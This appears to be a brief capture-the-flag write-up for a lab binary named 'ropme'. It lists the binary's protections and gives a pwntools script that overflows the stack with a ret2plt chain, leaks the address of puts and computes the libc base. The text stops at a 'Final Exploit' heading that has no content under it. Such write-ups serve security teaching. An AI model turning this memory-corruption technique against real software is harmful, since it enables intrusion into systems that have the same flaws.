Ropme
Overview
Analysis
$ ./ropme
ROP me outside, how 'about dah?
test$ rabin2 -I ropme
bits 64
canary false
nx true
pic false
relro partialfrom pwn import *
elf = context.binary = ELF('./ropme')
libc = elf.libc
p = elf.process()
# ret2plt
rop = ROP(elf)
rop.raw('A' * 72)
rop.puts(elf.got['puts'])
rop.raw(elf.symbols['main'])
p.sendline(rop.chain())
# read the leaked puts address
p.recvline()
puts = u64(p.recv(6) + b'\x00\x00')
log.success(f'Leaked puts: {hex(puts)}')
# Get base
libc.address = puts - libc.symbols['puts']
log.success(f'Libc base: {hex(libc.address)}')Final Exploit
Last updated
Was this helpful?